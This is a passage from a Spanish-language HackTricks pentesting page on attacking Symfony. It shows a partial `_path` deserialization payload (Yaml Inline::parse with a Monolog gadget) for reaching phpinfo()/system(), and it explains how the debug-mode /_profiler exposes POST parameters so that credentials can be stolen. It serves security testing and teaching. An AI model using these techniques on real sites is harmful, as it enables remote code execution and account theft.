En lugar de construir `_path` para cada uno de estos, podemos aprovechar el hecho de que si damos un argumento cuyo nombre no coincide con el prototipo del método, será ignorado. Por lo tanto, podemos agregar todos los argumentos posibles al método, sin preocuparnos por el prototipo real.
|
|
|
|
Por lo tanto, podemos construir `_path` de la siguiente manera:
|
|
```
|
|
_controller=Symfony\Component\Yaml\Inline::parse
|
|
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
|
|
&flags=516
|
|
&exceptionOnInvalidType=0
|
|
&objectSupport=1
|
|
&objectForMap=0
|
|
&references=
|
|
&flags=516
|
|
```
|
|
Una vez más, podemos intentar con `phpinfo()` y ver si funciona. Si lo hace, podemos usar `system()` en su lugar.
|
|
|
|
_Ejemplo de salida usando `Inline::parse` con una carga útil serializada_
|
|
|
|
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
|
|
|
|
Por lo tanto, el exploit recorrerá todas las posibles combinaciones de variables y luego probará los dos métodos de explotación. El código está disponible en [nuestro GitHub](https://github.com/ambionics/symfony-exploits).
|
|
|
|
## Accediendo a la información de symfony /\_profiler
|
|
|
|
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
|
|
|
|
Como se puede ver en la captura de pantalla anterior, hay un logotipo de `sf` en la esquina inferior derecha de la página. Este logotipo se muestra cuando Symfony está en modo de depuración. Hay algunos casos en los que este logotipo no aparece, así que intente acceder a `/_profiler` y verá la página como se muestra a continuación.
|
|
|
|
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
|
|
|
|
Esta función se llama Symfony Profiler, y no hay mucha información sobre esta función en Internet. La intención de esta función es muy clara; ayuda a depurar cuando hay un error o un fallo. Por supuesto, esta función solo se puede utilizar cuando se habilita el modo de depuración.
|
|
|
|
El propio framework Symfony es muy seguro, pero habilitar el modo de depuración hará que este framework sea extremadamente vulnerable. Por ejemplo, Profiler tiene una función llamada Profile Search, como se muestra en la siguiente captura de pantalla.
|
|
|
|
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
|
|
|
|
Como se puede ver en la captura de pantalla anterior, se pueden acceder a todas las solicitudes enviadas al servidor. Al hacer clic en los hashes del token, se pueden leer todos los parámetros POST, como se ve en la siguiente captura de pantalla. Con esta función, podemos secuestrar las credenciales de la cuenta del administrador y del usuario.
|
|
|
|
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
|
|
|
|
### Otros puntos finales habilitados para la depuración
|
|
|
|
También debe comprobar estas URL:
|
|
|
|
* **https://example.com/app\_dev.php/\_profiler**
|
|
* **https://example.com/app\_dev.php**\\
|
|
|
|
## Referencias
|
|
|
|
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
|
* [**https://flattsecurity.hatenablog.com/entry/2020/11/02/124807**](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)
|
|
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|